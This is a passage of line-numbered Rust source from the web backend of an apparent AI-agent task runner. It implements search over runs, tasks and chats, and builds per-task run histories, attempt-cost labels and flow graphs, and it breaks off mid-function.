5316const SEARCH_MAX_TERMS: usize = 8;
5317const SNIPPET_BEFORE: usize = 50;
5319const SNIPPET_AFTER: usize = 110;
5320
5321#[derive(Debug, Deserialize)]
5323struct SearchQuery {
5324 #[serde(default)]
5325 scope: String,
5326 #[serde(default)]
5327 q: String,
5328}
5329
5330#[derive(Debug, Serialize, PartialEq, Eq)]
5333struct SnippetPart {
5334 text: String,
5335 hit: bool,
5336}
5337
5338#[derive(Debug, Serialize)]
5339struct SearchHit {
5340 id: String,
5341 field: String,
5343 snippet: Vec<SnippetPart>,
5344 #[serde(skip_serializing_if = "Option::is_none")]
5348 run: Option<RunSummary>,
5349}
5350
5351#[derive(Debug, Serialize)]
5352struct SearchView {
5353 scope: String,
5354 q: String,
5355 hits: Vec<SearchHit>,
5357 total: usize,
5359 truncated: bool,
5360 unreadable: usize,
5363}
5364
5365fn text_leaves<'a>(
5368 value: &'a serde_json::Value,
5369 field: &'a str,
5370 out: &mut Vec<(&'a str, &'a str)>,
5371) {
5372 match value {
5373 serde_json::Value::String(s) => out.push((field, s)),
5374 serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
5375 serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
5376 _ => {}
5377 }
5378}
5379
5380fn fold_char(c: char) -> char {
5383 c.to_lowercase().next().unwrap_or(c)
5384}
5385
5386fn search_terms(q: &str) -> Vec<String> {
5388 let mut terms: Vec<String> = Vec::new();
5389 for t in q.split_whitespace() {
5390 let t = t.to_lowercase();
5391 if !terms.contains(&t) {
5392 terms.push(t);
5393 }
5394 }
5395 terms
5396}
5397
5398fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
5401 let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
5402 let mut first: Option<usize> = None;
5403 for term in terms {
5404 let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
5405 first = Some(first.map_or(at, |f| f.min(at)));
5406 }
5407 let (field, text) = leaves[first?];
5409 Some(SearchHit {
5410 id: String::new(),
5411 field: field.to_owned(),
5412 snippet: snippet_of(text, terms),
5413 run: None,
5414 })
5415}
5416
5417fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
5420 let chars: Vec<char> = text.chars().collect();
5421 let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
5422 let needles: Vec<Vec<char>> = terms
5423 .iter()
5424 .map(|t| t.chars().map(fold_char).collect())
5425 .collect();
5426 let find = |from: usize, to: usize| -> Option<(usize, usize)> {
5427 let mut best: Option<(usize, usize)> = None;
5428 for n in needles.iter().filter(|n| !n.is_empty()) {
5429 if n.len() > chars.len() || to == 0 {
5433 continue;
5434 }
5435 let last = (to - 1).min(chars.len() - n.len());
5436 if from > last {
5437 continue;
5438 }
5439 if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
5440 && best.is_none_or(|(b, _)| i < b)
5441 {
5442 best = Some((i, i + n.len()));
5443 }
5444 }
5445 best
5446 };
5447 let Some((start, _)) = find(0, chars.len()) else {
5448 let head: String = chars.iter().take(SNIPPET_AFTER).collect();
5450 return vec![SnippetPart {
5451 text: head.split_whitespace().collect::<Vec<_>>().join(" "),
5452 hit: false,
5453 }];
5454 };
5455 let lo = start.saturating_sub(SNIPPET_BEFORE);
5456 let hi = (start + SNIPPET_AFTER).min(chars.len());
5457 let mut parts: Vec<SnippetPart> = Vec::new();
5458 let mut push = |s: &[char], hit: bool| {
5459 if s.is_empty() {
5460 return;
5461 }
5462 let text: String = s.iter().collect();
5463 match parts.last_mut() {
5464 Some(p) if p.hit == hit => p.text.push_str(&text),
5465 _ => parts.push(SnippetPart { text, hit }),
5466 }
5467 };
5468 if lo > 0 {
5469 push(&['\u{2026}'], false);
5470 }
5471 let mut at = lo;
5472 while at < hi {
5473 match find(at, hi) {
5474 Some((s, e)) => {
5475 push(&chars[at..s], false);
5476 let shown = e.min(hi);
5478 push(&chars[s..shown], true);
5479 at = shown;
5480 }
5481 None => {
5482 push(&chars[at..hi], false);
5483 at = hi;
5484 }
5485 }
5486 }
5487 if hi < chars.len() {
5488 push(&['\u{2026}'], false);
5489 }
5490 let mut prev_space = false;
5493 for p in &mut parts {
5494 let mut out = String::with_capacity(p.text.len());
5495 for c in p.text.chars() {
5496 if c.is_whitespace() {
5497 if !prev_space {
5498 out.push(' ');
5499 }
5500 prev_space = true;
5501 } else {
5502 out.push(c);
5503 prev_space = false;
5504 }
5505 }
5506 p.text = out;
5507 }
5508 parts.retain(|p| !p.text.is_empty());
5509 parts
5510}
5511
5512fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
5514where
5515 I: IntoIterator<Item = (String, serde_json::Value)>,
5516{
5517 for (id, doc) in docs {
5518 let mut leaves = Vec::new();
5519 leaves.push(("id", id.as_str()));
5522 text_leaves(&doc, "", &mut leaves);
5523 if let Some(mut hit) = search_document(terms, &leaves) {
5524 view.total += 1;
5525 if view.hits.len() < SEARCH_MAX_HITS {
5526 hit.id = id;
5527 view.hits.push(hit);
5528 }
5529 }
5530 }
5531 view.truncated = view.total > view.hits.len();
5532}
5533
5534fn talk_search_doc(talk: &Talk) -> serde_json::Value {
5540 let opener = talk
5541 .title
5542 .as_ref()
5543 .filter(|t| !t.text.is_empty())
5544 .map(|t| t.text.as_str())
5545 .or_else(|| {
5546 talk.turns
5547 .iter()
5548 .find(|t| t.who == talk::Who::Operator)
5549 .map(|t| t.body.as_str())
5550 })
5551 .and_then(|text| text.lines().map(str::trim).find(|line| !line.is_empty()))
5552 .unwrap_or("");
5553 let title: String = if opener.chars().count() > 96 {
5554 opener.chars().take(95).chain(['\u{2026}']).collect()
5555 } else {
5556 opener.to_owned()
5557 };
5558 let turns: Vec<serde_json::Value> = talk
5559 .turns
5560 .iter()
5561 .map(|t| {
5562 let who = match t.who {
5563 crate::talk::Who::Operator => "operator",
5564 crate::talk::Who::Agent => "agent",
5565 };
5566 serde_json::json!({ who: t.body })
5567 })
5568 .collect();
5569 serde_json::json!({ "title": title, "turns": turns })
5570}
5571
5572async fn search_get(
5579 State(ui): State<Arc<Ui>>,
5580 Query(q): Query<SearchQuery>,
5581) -> ApiResult<Json<SearchView>> {
5582 let query = q.q.trim().to_owned();
5583 if query.is_empty() {
5584 return Err(ApiError::bad_request("q must not be empty"));
5585 }
5586 if query.chars().count() > SEARCH_MAX_QUERY {
5587 return Err(ApiError::bad_request(format!(
5588 "q is longer than {SEARCH_MAX_QUERY} characters"
5589 )));
5590 }
5591 let terms = search_terms(&query);
5592 if terms.len() > SEARCH_MAX_TERMS {
5593 return Err(ApiError::bad_request(format!(
5594 "q has more than {SEARCH_MAX_TERMS} terms"
5595 )));
5596 }
5597 let scope = q.scope;
5598 if scope != "runs" && scope != "tasks" && scope != "chats" {
5599 return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
5600 }
5601 blocking(move || {
5602 let mut view = SearchView {
5603 scope: scope.clone(),
5604 q: query,
5605 hits: Vec::new(),
5606 total: 0,
5607 truncated: false,
5608 unreadable: 0,
5609 };
5610 if scope == "runs" {
5611 let mut unreadable = 0;
5612 let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
5616 let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
5617 match body.and_then(|b| serde_json::from_str(&b).ok()) {
5618 Some(v) => Some((id, v)),
5619 None => {
5620 unreadable += 1;
5621 None
5622 }
5623 }
5624 });
5625 search_docs(&terms, docs, &mut view);
5626 view.unreadable = unreadable;
5627 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
5630 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
5631 for hit in &mut view.hits {
5632 if let Ok(state) = read_run(&ui.runs, &hit.id) {
5633 hit.run = summarize(
5634 [state],
5635 &open_runs,
5636 &claimed,
5637 &superseded,
5638 |p| probe.borrow_mut().status(p),
5639 |p| probe.borrow_mut().started_at(p),
5640 )
5641 .pop();
5642 }
5643 }
5644 } else if scope == "chats" {
5645 let (talks, unreadable) = ui.talks.list_counting_unreadable();
5646 view.unreadable = unreadable;
5647 search_docs(
5648 &terms,
5649 talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
5650 &mut view,
5651 );
5652 } else {
5653 let docs = ui.queue.list().into_iter().filter_map(|t| {
5654 let mut v = serde_json::to_value(&t).ok()?;
5655 if let Some(o) = v.as_object_mut() {
5658 o.insert("filed_by".to_owned(), t.source.label().into());
5659 }
5660 Some((t.id, v))
5661 });
5662 search_docs(&terms, docs, &mut view);
5663 }
5664 Ok(Json(view))
5665 })
5666 .await
5667}
5668
5669#[derive(Debug, Serialize)]
5671struct TaskRunView {
5672 n: usize,
5674 id: String,
5675 short: String,
5676 kind: &'static str,
5678 status: Option<&'static str>,
5680 readable: bool,
5682 provisional: bool,
5684 description: String,
5686 outcome: String,
5688 created_at: Option<Timestamp>,
5689 pr: Option<String>,
5690 exit: RunExit,
5692 attempt: AttemptCost,
5694 exit_label: String,
5697 later_pass: Option<usize>,
5700 pass_n: usize,
5704 passes_of_run: usize,
5705 pass: Option<PassView>,
5708 branch: Option<String>,
5710 badge: Option<String>,
5713}
5714
5715#[derive(Debug, Clone, PartialEq, Serialize)]
5717struct PassView {
5718 index: usize,
5719 resumed: bool,
5720 started_at: Timestamp,
5721 ended_at: Option<Timestamp>,
5722 end: &'static str,
5724 cause: Option<crate::run::ParkCause>,
5725 label: String,
5727 cost: Option<crate::queue::PassCost>,
5730}
5731
5732impl PassView {
5733 fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
5734 use crate::run::PassEnd;
5735 let (end, cause, label) = match &p.end {
5736 None => ("open", None, "still open".to_owned()),
5737 Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
5738 Some(PassEnd::Unrecorded) => (
5739 "unrecorded",
5740 None,
5741 "stopped without recording why (a crash, a kill or a restart; not known)"
5742 .to_owned(),
5743 ),
5744 };
5745 Self {
5746 index: p.index,
5747 resumed: p.resumed,
5748 started_at: p.started_at,
5749 ended_at: p.ended_at,
5750 end,
5751 cause,
5752 label,
5753 cost: settled.map(|t| t.cost),
5754 }
5755 }
5756}
5757
5758#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
5760#[serde(rename_all = "snake_case")]
5761enum RunExit {
5762 Unreadable,
5763 Interrupted,
5765 Parked,
5766 MachineBlocked,
5767 QuotaStall,
5768 ResumedQuotaStall,
5772 Merged,
5773 Ready,
5774 Superseded,
5775 AlreadyInBase,
5778 Stalled,
5780 HeldWithPr,
5782 NoopHeld,
5783 Spent,
5785 InProgress,
5786}
5787
5788#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
5789#[serde(rename_all = "snake_case")]
5790enum AttemptCost {
5791 Spent,
5792 Refunded,
5793 None,
5794 Unknown,
5796}
5797
5798impl RunExit {
5799 fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
5800 let Some(s) = s else {
5801 return Self::Unreadable;
5802 };
5803 let status = s.status;
5804 if resumed_later {
5805 Self::Interrupted
5806 } else if s.parked {
5807 Self::Parked
5808 } else if status == RunStatus::Blocked && s.resource_block.is_some() {
5809 Self::MachineBlocked
5810 } else if !status.done() {
5811 Self::InProgress
5812 } else if matches!(status, RunStatus::Merged) {
5813 Self::Merged
5814 } else if matches!(status, RunStatus::Ready) {
5815 Self::Ready
5816 } else if matches!(status, RunStatus::Superseded) {
5817 Self::Superseded
5818 } else if matches!(status, RunStatus::AlreadyInBase) {
5819 Self::AlreadyInBase
5820 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
5821 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
5822 {
5823 if resumed {
5824 Self::ResumedQuotaStall
5825 } else {
5826 Self::QuotaStall
5827 }
5828 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
5829 Self::HeldWithPr
5830 } else if matches!(status, RunStatus::VerifiedNoop) {
5831 Self::NoopHeld
5832 } else if matches!(status, RunStatus::Stalled) {
5833 Self::Stalled
5834 } else {
5835 Self::Spent
5836 }
5837 }
5838
5839 fn cost(self) -> AttemptCost {
5840 match self {
5841 Self::Parked | Self::QuotaStall | Self::MachineBlocked => AttemptCost::Refunded,
5842 Self::Merged
5843 | Self::Ready
5844 | Self::Stalled
5845 | Self::HeldWithPr
5846 | Self::NoopHeld
5847 | Self::Spent => AttemptCost::Spent,
5848 Self::InProgress => AttemptCost::None,
5849 Self::AlreadyInBase => AttemptCost::Refunded,
5850 Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
5851 AttemptCost::Unknown
5852 }
5853 }
5854 }
5855
5856 fn edge_label(self, status: Option<&str>) -> String {
5858 match self {
5859 Self::Unreadable => "record unreadable".to_owned(),
5860 Self::Interrupted => "interrupted before the run finished".to_owned(),
5861 Self::Parked => "parked, attempt refunded".to_owned(),
5862 Self::MachineBlocked => "machine unavailable, attempt refunded".to_owned(),
5863 Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
5864 Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
5865 Self::Merged => "merged".to_owned(),
5866 Self::Ready => "ready, not merged".to_owned(),
5867 Self::Superseded => "superseded by a later attempt".to_owned(),
5868 Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
5869 Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
5870 Self::HeldWithPr => "blocked, PR left open".to_owned(),
5871 Self::NoopHeld => "verified no-op".to_owned(),
5872 Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
5873 Self::InProgress => "in progress".to_owned(),
5874 }
5875 }
5876
5877 fn explains(self, end: TaskStatus) -> bool {
5880 match self {
5881 Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
5882 Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
5883 Self::Unreadable | Self::Superseded | Self::Ready => true,
5884 _ => end != TaskStatus::Done,
5885 }
5886 }
5887}
5888
5889#[derive(Debug, Serialize)]
5891struct TaskDetailView {
5892 #[serde(flatten)]
5893 task: TaskView,
5894 max_attempts: usize,
5897 history: Vec<TaskRunView>,
5898 passes_total: usize,
5901 runs_distinct: usize,
5903 flow: FlowView,
5904 followup_origin: Option<FollowUpOrigin>,
5906 runs_unreadable: usize,
5908 attempts_note: &'static str,
5910}
5911
5912const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
5913and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
5914on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
5915the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
5916
5917fn review_branch_of(instruction: &str) -> Option<&str> {
5920 let rest = instruction.strip_prefix("Review the work already on branch `")?;
5921 rest.split('`').next().filter(|b| !b.is_empty())
5922}
5923
5924#[derive(Default)]
5926struct RunSlot<'a> {
5927 n: usize,
5929 resumed: bool,
5931 resumed_later: Option<usize>,
5933 prior: Option<(&'a str, RunStatus)>,
5935 last: bool,
5936 pass: Option<&'a crate::run::RunPass>,
5938 settled: Option<&'a crate::queue::TaskPass>,
5940 pass_n: usize,
5942 passes_of_run: usize,
5943}
5944
5945fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
5948 let RunSlot {
5949 n,
5950 resumed,
5951 resumed_later,
5952 prior,
5953 last,
5954 pass,
5955 settled,
5956 pass_n,
5957 passes_of_run,
5958 } = at;
5959 let short = run::short_of(id).to_owned();
5960 let Some(s) = state else {
5961 return TaskRunView {
5962 n,
5963 id: id.to_owned(),
5964 short,
5965 kind: "unknown",
5966 status: None,
5967 readable: false,
5968 provisional: false,
5969 description:
5970 "This run's record could not be read by this build (written by a different \
5971 magi, or removed), so what kind of attempt it was is unknown."
5972 .to_owned(),
5973 outcome: String::new(),
5974 created_at: None,
5975 pr: None,
5976 exit: RunExit::Unreadable,
5977 attempt: AttemptCost::Unknown,
5978 exit_label: RunExit::Unreadable.edge_label(None),
5979 later_pass: resumed_later,
5980 pass_n,
5981 passes_of_run,
5982 pass: None,
5983 branch: None,
5984 badge: None,
5985 };
5986 };
5987 let branch = review_branch_of(&s.instruction);
5988 let kind = if resumed {
5989 "resume"
5990 } else if branch.is_some() {
5991 "review"
5992 } else if task.solo || s.candidates.len() == 1 {
5993 "solo"
5994 } else {
5995 "competition"
5996 };
5997 let mut description = match kind {
5998 "resume" => {
5999 format!("Resumed run {short}: the same run carried on instead of competing again.")
6000 }
6001 "review" => format!(
6002 "Review the work already on branch `{}`: a review-only pass, no new implementation.",
6003 branch.unwrap_or_default()
6004 ),
6005 "solo" => "Solo run: one implementer straight into review.".to_owned(),
6006 _ => format!(
6007 "Competition: {} candidates judged blind.",
6008 s.candidates.len().max(1)
6009 ),
6010 };
6011 if !resumed && let Some((p, st)) = prior {
6012 description.push_str(&format!(
6013 " A retry: run {p} before it ended {}.",
6014 st.display_label()
6015 ));
6016 }
6017
6018 let status = s.status;
6019 let provisional = matches!(status, RunStatus::Stalled)
6020 || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
6021 let head = if resumed_later.is_some() {
6022 String::new()
6023 } else {
6024 match status {
6025 RunStatus::Merged => "Merged.".to_owned(),
6026 RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
6027 RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
6028 RunStatus::AlreadyInBase => {
6029 "Already in the base: this change landed under other commits, nothing was left to land."
6030 .to_owned()
6031 }
6032 RunStatus::Stalled => {
6033 "Stalled: the judging panel never reached a quorum, so there is no verdict."
6034 .to_owned()
6035 }
6036 RunStatus::Blocked if s.resource_block.is_some() => format!("Blocked: {}.", s.resource_block.as_ref().unwrap().description()),
6037 RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
6038 RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
6039 RunStatus::VerifiedNoop => {
6040 "Verified no-op: the candidates found nothing to change.".to_owned()
6041 }
6042 other if other.done() => format!("Ended {}.", other.display_label()),
6043 other => format!("In progress ({}).", other.display_label()),
6044 }
6045 };
6046 let view = pass.map(|p| PassView::of(p, settled));
6047 let recorded_end = view
6048 .as_ref()
6049 .filter(|v| matches!(v.end, "parked" | "unrecorded"));
6050 let cost_words = match view.as_ref().and_then(|v| v.cost) {
6051 Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
6052 Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
6053 None => "whether its attempt was handed back was not recorded",
6054 };
6055 let pass_note = if passes_of_run > 1 {
6056 format!(
6057 " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
6058 )
6059 } else {
6060 String::new()
6061 };
6062 let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
6063 let cause = match v.end {
6065 "parked" => format!("It was stopped on purpose: {}.", v.label),
6066 _ => format!("It {}.", v.label),
6067 };
6068 format!(
6069 " {cause} {}; pass #{k} resumed the same run.{pass_note}",
6070 capitalise(cost_words)
6071 )
6072 } else if let Some(k) = resumed_later {
6073 let cause = if s.quota.is_empty() {
6080 "the cause was not recorded: a park, a crash or a restart all look the same from here"
6081 } else {
6082 "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
6083 };
6084 format!(
6085 " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
6086 )
6087 } else if s.parked {
6088 match recorded_end.and_then(|v| v.cause.as_ref()) {
6089 Some(cause) => format!(
6090 " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
6091 cause.label(),
6092 cost_words
6093 ),
6094 None => " Parked at a node boundary; the attempt was handed back and the run resumes."
6095 .to_owned(),
6096 }
6097 } else if status == RunStatus::Blocked && s.resource_block.is_some() {
6098 " The machine could not complete this node; no attempt was spent. Restore agent availability and resume the task.".to_owned()
6099 } else if !status.done()
6100 || matches!(
6101 status,
6102 RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
6103 )
6104 {
6105 String::new()
6106 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
6107 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
6108 {
6109 " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
6110 .to_owned()
6111 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
6112 " It left a pull request open, so the task was held for a person rather than retried."
6113 .to_owned()
6114 } else if matches!(status, RunStatus::VerifiedNoop) {
6115 " Held for a person to check the claim.".to_owned()
6116 } else if last {
6117 " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
6118 } else {
6119 " It spent an attempt, and the task moved on to the next run.".to_owned()
6120 };
6121 let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
6122 let mut attempt = exit.cost();
6123 let mut exit_label = None;
6124 if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
6125 let spent = match v.cost {
6126 Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
6127 Some(crate::queue::PassCost::Spent) => ", attempt counted",
6128 None if resumed_later.is_some() => ", refund not recorded",
6129 None => ", attempt refunded",
6130 };
6131 attempt = match v.cost {
6132 Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
6133 Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
6134 None if resumed_later.is_some() => AttemptCost::Unknown,
6135 None => attempt,
6136 };
6137 if v.end == "parked" {
6138 exit = RunExit::Parked;
6139 exit_label = Some(match v.cause.as_ref() {
6140 Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
6141 format!("parked for {}{spent}", c.label())
6142 }
6143 Some(c) => format!("parked ({}){spent}", c.label()),
6144 None => format!("parked{spent}"),
6145 });
6146 } else {
6147 exit_label = Some(format!("stopped without a recorded cause{spent}"));
6148 }
6149 }
6150 let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
6151 TaskRunView {
6152 n,
6153 id: id.to_owned(),
6154 short,
6155 kind,
6156 status: Some(status.as_str()),
6157 readable: true,
6158 provisional,
6159 description,
6160 outcome: format!("{head}{why}"),
6161 created_at: Some(s.created_at),
6162 pr: s.pr.as_ref().map(|p| p.url.clone()),
6163 exit,
6164 attempt,
6165 exit_label,
6166 later_pass: resumed_later,
6167 pass_n,
6168 passes_of_run,
6169 pass: view,
6170 branch: branch.map(str::to_owned),
6171 badge: None,
6172 }
6173}
6174
6175fn capitalise(s: &str) -> String {
6176 let mut c = s.chars();
6177 c.next().map_or_else(String::new, |f| {
6178 f.to_uppercase().collect::<String>() + c.as_str()
6179 })
6180}
6181
6182#[derive(Debug, Serialize, PartialEq)]
6184struct FlowNode {
6185 key: String,
6187 kind: &'static str,
6189 label: String,
6190 status: Option<&'static str>,
6193 status_of: &'static str,
6196 note: Option<&'static str>,
6198 run_kind: Option<&'static str>,
6199 detail: Option<String>,
6200 decided: bool,
6202 readable: bool,
6203 href: Option<String>,
6204 badge: Option<String>,
6206 started_at: Option<Timestamp>,
6208 time_expected: bool,
6210}
6211
6212#[derive(Debug, Serialize, PartialEq)]
6213struct FlowEdge {
6214 from: String,
6215 to: String,
6216 label: String,
6217 attempt: AttemptCost,
6218}
6219
6220#[derive(Debug, Serialize, PartialEq)]
6221struct FlowView {
6222 nodes: Vec<FlowNode>,
6223 edges: Vec<FlowEdge>,
6224 attempts: usize,
6226 max_attempts: usize,
6227 passes: usize,
6230 runs: usize,
6231}
6232
6233fn task_flow(
6242 task: &Task,
6243 history: &[TaskRunView],
6244 max_attempts: usize,
6245 origin: Option<&FollowUpOrigin>,
6246) -> FlowView {
6247 let max_attempts = task.effective_attempt_limit(max_attempts);
6248 let node = |key: &str, kind, label: String| FlowNode {
6249 key: key.to_owned(),
6250 kind,
6251 label,
6252 status: None,
6253 status_of: "run",
6254 note: None,
6255 run_kind: None,
6256 detail: None,
6257 decided: false,
6258 readable: true,
6259 href: None,
6260 badge: None,
6261 started_at: None,
6262 time_expected: matches!(kind, "start" | "run" | "end"),
6263 };
6264 let mut nodes = Vec::new();
6265 let mut edges: Vec<FlowEdge> = Vec::new();
6266 if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
6268 let mut n = node(
6269 "chat",
6270 "chat",
6271 format!("Chat {}", crate::queue::short(&link.id)),
6272 );
6273 n.href = Some(link.href);
6274 nodes.push(n);
6275 edges.push(FlowEdge {
6276 from: "chat".to_owned(),
6277 to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
6278 label: "queued from chat".to_owned(),
6279 attempt: AttemptCost::None,
6280 });
6281 }
6282 if let Some(o) = origin {
6283 let mut n = match &o.parent {
6284 Some(p) => {
6285 let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
6286 n.status = Some(p.status);
6287 n.status_of = "task";
6288 n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
6289 n.href = Some(p.href.clone());
6290 n
6291 }
6292 None => {
6293 let mut n = node(
6294 "origin",
6295 "followup",
6296 format!("Follow-up of run {}", o.run.short),
6297 );
6298 n.detail = Some("merged run".to_owned());
6299 n.status = o.run.status;
6300 n.href = o.run.href.clone();
6301 if o.run.href.is_none() {
6302 n.readable = false;
6303 n.note = Some("unreadable");
6304 }
6305 n
6306 }
6307 };
6308 n.decided = true;
6309 let from = n.key.clone();
6310 nodes.push(n);
6311 let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
6312 let more = o.findings.len().saturating_sub(shown.len());
6313 let label = match (shown.is_empty(), more) {
6314 (true, _) => "open findings".to_owned(),
6315 (false, 0) => format!("open findings {}", shown.join(", ")),
6316 (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
6317 };
6318 edges.push(FlowEdge {
6319 from,
6320 to: "start".to_owned(),
6321 label,
6322 attempt: AttemptCost::None,
6323 });
6324 }
6325 let mut start = node("start", "start", "Task queued".to_owned());
6326 start.started_at = Some(task.created_at);
6327 nodes.push(start);
6328 let mut prev = "start".to_owned();
6329 let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
6330 for (i, h) in history.iter().enumerate() {
6331 let key = format!("run-{}", h.n);
6332 let mut n = node(&key, "run", format!("Run {}", h.short));
6333 n.started_at = h
6336 .readable
6337 .then(|| {
6338 h.pass.as_ref().map(|p| p.started_at).or(if h.pass_n == 1 {
6339 h.created_at
6340 } else {
6341 None
6342 })
6343 })
6344 .flatten();
6345 n.run_kind = Some(h.kind);
6346 n.readable = h.readable;
6347 n.href = Some(format!("#/runs/{}", h.id));
6348 n.decided = h.readable && !h.provisional;
6349 n.detail = h
6350 .branch
6351 .as_ref()
6352 .map(|b| format!("review-only run of branch {b}"));
6353 match h.exit {
6354 RunExit::Unreadable => n.note = Some("unreadable"),
6355 RunExit::Interrupted => n.note = Some("interrupted"),
6356 RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
6359 _ => {
6360 n.status = h.status;
6361 n.badge = h.badge.clone();
6362 if h.provisional {
6363 n.note = Some("no verdict");
6364 }
6365 }
6366 }
6367 let into = match h.kind {
6368 "review" => Some(format!(
6369 "review-only run of branch {}",
6370 h.branch.as_deref().unwrap_or("?")
6371 )),
6372 "resume" => Some("resume the same run".to_owned()),
6373 _ if i > 0 => Some("retry".to_owned()),
6374 _ => None,
6375 };
6376 let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
6377 let label = match (prev_exit, into) {
6378 (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
6379 (Some((_, l, _)), None) => l,
6380 (None, Some(i)) => i,
6381 (None, None) => "claimed".to_owned(),
6382 };
6383 edges.push(FlowEdge {
6384 from: prev.clone(),
6385 to: key.clone(),
6386 label,
6387 attempt,
6388 });
6389 prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
6390 prev = key;
6391 nodes.push(n);
6392 }
6393 let mut end = node("end", "end", task.status.as_str().to_owned());
6394 end.status = Some(task.status.as_str());
6395 end.status_of = "task";
6396 if task.status == TaskStatus::Held {
6399 end.started_at = task.held_at;
6400 }
6401 nodes.push(end);
6402 let (label, attempt) = match prev_exit {
6403 None => (
6404 format!("no run yet \u{2192} {}", task.status.as_str()),
6405 AttemptCost::None,
6406 ),
6407 Some((e, l, cost)) if e.explains(task.status) => {
6408 (format!("{l} \u{2192} {}", task.status.as_str()), cost)
6409 }
6410 Some((_, _, cost)) => (
6411 format!("closed by hand: task is {}", task.status.as_str()),
6412 cost,
6413 ),
6414 };
6415 edges.push(FlowEdge {
6416 from: prev,
6417 to: "end".to_owned(),
6418 label,
6419 attempt,
6420 });
6421 FlowView {
6422 nodes,
6423 edges,
6424 attempts: task.attempts,
6425 max_attempts,
6426 passes: history.len(),
6427 runs: distinct_runs(&task.runs),
6428 }
6429}
6430
6431fn distinct_runs(runs: &[String]) -> usize {
6433 let mut seen: Vec<&str> = Vec::new();
6434 for r in runs {
6435 if !seen.contains(&r.as_str()) {
6436 seen.push(r);
6437 }
6438 }
6439 seen.len()
6440}
6441
6442fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
6444 let mut slots = Vec::new();
6445 let mut seen = Vec::new();
6446 for run_id in &task.runs {
6447 if seen.contains(&run_id) {
6448 continue;
6449 }
6450 seen.push(run_id);
6451 let state = read(run_id);
6452 let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
6453 s.passes
6454 .iter()
6455 .filter(|p| {
6456 p.task_entry
6457 || task
6458 .passes
